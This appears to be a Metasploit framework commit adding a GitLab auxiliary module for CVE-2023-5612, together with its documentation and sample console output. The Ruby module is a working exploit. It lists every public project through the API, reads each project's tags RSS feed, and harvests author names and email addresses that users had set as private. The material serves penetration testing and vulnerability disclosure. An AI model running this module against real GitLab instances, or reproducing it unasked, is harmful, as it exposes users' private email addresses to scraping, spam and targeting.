Land #18821, Gitlab public email disclosure CVE-2023-5612

This commit is contained in:
Christophe De La Fuente 2024-03-06 17:39:24 +01:00
commit e20558ec35
No known key found for this signature in database
GPG Key ID: 9E350956EA00352A
2 changed files with 199 additions and 0 deletions

View File

@ -0,0 +1,72 @@
## Vulnerable Application
Information disclosure affecting all versions of GitLab
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
by sending a GET request to the project URI and appending "-/tags"
### Docker installation instructions can be found here:
https://docs.gitlab.com/ee/install/docker.html
Once installed, create a project. Once the project is
created, add a new tag by expanding the Code menu item
on the left, then selecting Tags. Then click on the
New Tag button in the top right corner.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use [module path]`
1. Do: `set RHOSTS [IP]`
1. Do: `run`
1. You should receive output with user names and email addresses assocaited with project tags
## Options
### TARGETPROJECT
This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. IF you know the specific project you would
like to target, you would need to set that here.
## Scenarios
### Scrape all Workspaces/Projects
```
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
[*] Running module against 127.0.0.1
[+] [2024.02.09-11:18:23] Scraping ALL projects...
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
[+] [2024.02.09-11:18:23] name: john doe
[+] [2024.02.09-11:18:23] e-mail: johndoe@example.com
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
[+] [2024.02.09-11:18:23] name: janedoe
[+] [2024.02.09-11:18:23] e-mail: janedoe@example.com
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
[-] [2024.02.09-11:18:23] No tags or authors found
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
[-] [2024.02.09-11:18:23] No tags or authors found
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
[-] [2024.02.09-11:18:23] No tags or authors found
[*] Auxiliary module execution completed
```
### Specify Project
```
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
TARGETPROJECT => Workspace1/Project1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
[*] Running module against 127.0.0.1
[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
[+] [2024.02.09-11:44:43] name: janedoe
[+] [2024.02.09-11:44:43] e-mail: janedoe@example.com
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,127 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab Tags RSS feed email disclosure',
'Description' => %q{
An issue has been discovered in GitLab affecting all versions
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1.
It is possible to read the user email address via tags feed
although the visibility in the user profile has been disabled.
},
'License' => MSF_LICENSE,
'Author' => [
'n00bhaxor', # msf module
'erruquill' # HackerOne Bug Bounty, analysis
],
'References' => [
[ 'URL', 'https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/' ],
[ 'URL', 'https://hackerone.com/reports/2208790'],
[ 'CVE', '2023-5612']
],
'DisclosureDate' => '2024-01-25',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the GitLab Application', '/']),
OptString.new('TARGETPROJECT', [ false, 'Workspace and project to target', nil])
]
)
end
def get_contents(tags)
vprint_status('Check RSS tags feed for: ' + tags)
# Tag needs to be lower case, so...
tags.sub!(%r{^/}, '') if tags.start_with?('/')
tags = "#{tags.split('/')[0]}/#{tags.split('/')[1].downcase}"
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, tags, '-', 'tags'),
'method' => 'GET',
'vars_get' => { 'format' => 'atom' }
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 200
xml_res = res.get_xml_document
# If we receive a 301 it's probably an issue with workspace case-insensitivty
elsif res.code == 301 && res['location']
new_uri = URI.parse(res['location']).path
res = send_request_cgi(
'uri' => normalize_uri(new_uri.to_s),
'method' => 'GET', 'vars_get' => { 'format' => 'atom' }
)
xml_res = res.get_xml_document
# Error out with an unreachable or any other error code
else
fail_with(Failure::UnexpectedReply, "#{peer} - Project does not exist or is not public (response code: #{res.code})")
end
# Check to see if there are any tags with authors
author_element = 'author'
not_found = xml_res.xpath("//xmlns:#{author_element}").empty?
if not_found
vprint_bad('No tags or authors found')
return
end
# Initialze an empty set so we can dedupe authors based on email address
# This only dedupes within a project, not the entirety of Gitlab,
# so forks of projects may show duplicate email addresses.
unique_emails = Set.new
xml_res.xpath('//xmlns:author').each do |authors|
email = authors.at_xpath('xmlns:email').text
next if unique_emails.include?(email)
name = authors.at_xpath('xmlns:name').text
print_good("name: #{name}")
print_good("e-mail: #{email}")
unique_emails << email
end
end
def run
unless datastore['TARGETPROJECT'].blank?
get_contents(datastore['TARGETPROJECT'].to_s)
return
end
print_good('Scraping ALL projects...')
request = {
'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),
'method' => 'GET', 'vars_get' => {
'output_mode' => 'json'
}
}
res = send_request_cgi(request)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Project list API endpoint unavailable (response code: #{res.code})") unless res.code == 200
res.get_json_document.each do |entry|
tags = entry['path_with_namespace']
get_contents(tags)
end
end
end